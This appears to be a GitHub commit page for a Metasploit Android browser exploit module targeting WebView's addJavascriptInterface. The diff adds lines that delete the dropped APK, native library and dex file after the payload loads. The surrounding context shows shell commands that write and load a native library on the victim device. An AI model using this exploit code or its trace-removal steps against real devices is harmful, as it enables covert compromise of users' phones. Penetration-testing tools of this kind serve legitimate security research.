Skip to content

Commit 25ca055

Browse files
committed
cleanup files after exploit
1 parent f997223 commit 25ca055

File tree

1 file changed

+3
-0
lines changed

1 file changed

+3
-0
lines changed

modules/exploits/android/browser/webview_addjavascriptinterface.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -111,6 +111,7 @@ def js
111111
while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
112112
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
113113
var stagePath = path + '/#{stagename}.apk';
114+
var dexPath = path + '/#{stagename}.dex';
114115
115116
// build the library and chmod it
116117
runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor();
@@ -122,6 +123,8 @@ def js
122123
123124
runtime.load(libraryPath);
124125
runtime.exec(['rm', stagePath]).waitFor();
126+
runtime.exec(['rm', libraryPath]).waitFor();
127+
runtime.exec(['rm', dexPath]).waitFor();
125128
126129
return true;
127130
}

0 commit comments

Comments
 (0)